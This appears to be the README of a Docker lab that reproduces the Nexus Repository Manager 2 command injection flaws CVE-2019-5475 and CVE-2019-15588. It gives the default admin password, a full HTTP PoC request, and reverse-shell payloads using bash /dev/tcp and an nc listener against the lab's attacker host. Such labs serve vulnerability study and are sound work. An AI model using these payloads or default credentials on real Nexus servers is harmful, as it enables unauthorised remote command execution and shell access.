
CVE-2019-5475 靶场: RCE 命令注入漏洞
CVE-2019-5475 and CVE-2019-15588 Range: RCE Command Injection Vulnerability
CVE-2019-5475 is an RCE command injection vulnerability in Nexus regarding the built-in plugin Yum Repository. It was first disclosed on hackerone, but because the official first fix was incomplete, the CVE-2019-15588 vulnerability was derived.
Both vulnerabilities require login as admin to exploit, but the Nexus default admin password admin123 is often left unchanged, making it easy to exploit.
CVE-2019-5475
├── nexus-yum-core .......... [Maven project for debugging: simulates entering createrepo or mergerepo in nexus GUI]
├── nexus ................... [Data mount directory for Nexus container]
├── attacker ................ [Build directory for attacker machine]
│ └── Dockerfile .......... [Docker build file for attacker machine]
├── docker-compose.yml ...... [Docker build configuration]
├── imgs .................... [Images to assist README explanation]
└── README.md ............... [This README explanation]
cd CVE-2019-5475docker-compose up -dadmin/admin123), where:| Nexus | CVE | URL |
|---|---|---|
| 2.14.9 | CVE-2019-5475 | http://127.0.0.1:8009/nexus |
| 2.14.14 | CVE-2019-15588 | http://127.0.0.1:8014/nexus |
This range also sets up an attacker machine 172.168.50.2 in the same network environment as the two target machines, used to verify reverse shell.
Login as admin to http://127.0.0.1:8009/nexus/#capabilities, and the RCE injection point can be found in Administration -> Capabilities -> Yum: Configuration -> Settings.
The input fields Path of "createrepo" and Path of "mergerepo" can both be injected, and execution results can be viewed from Status.
For example, constructing the PoC bash -c id || python at the createrepo injection point will display the execution result of the command bash -c id as uid=200(nexus) gid=200(nexus) groups=200(nexus) in Status.
The corresponding PoC request can be intercepted via BurpSuite as:
PUT /nexus/service/siesta/capabilities/RANDOM_ID HTTP/1.1
Host: 127.0.0.1:8009
accept: application/json
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4xMjM=
Connection: close
{"typeId":"yum","enabled":true,"properties":[{"key":"createrepoPath","value":"bash -c id || python"}],"id":"RANDOM_ID"}


This injection point can be easily exploited to construct a reverse shell:
docker exec -it -u root docker_attacker /bin/bashnc -lvvp 4444createrepo injection point: bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || python
The injection point is the same as CVE-2019-5475, adjust PoC to: /bin/bash -c id || /createrepo


This vulnerability can use the same method to reverse shell:
docker exec -it -u root docker_attacker /bin/bashnc -lvvp 4444createrepo injection point: /bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || /createrepo
nexus-yum-core is the core code snippet in nexus regarding this vulnerability exploitation, mainly used for directly debugging and analyzing the input payload from the backend, without needing to build a complete Nexus service from source.
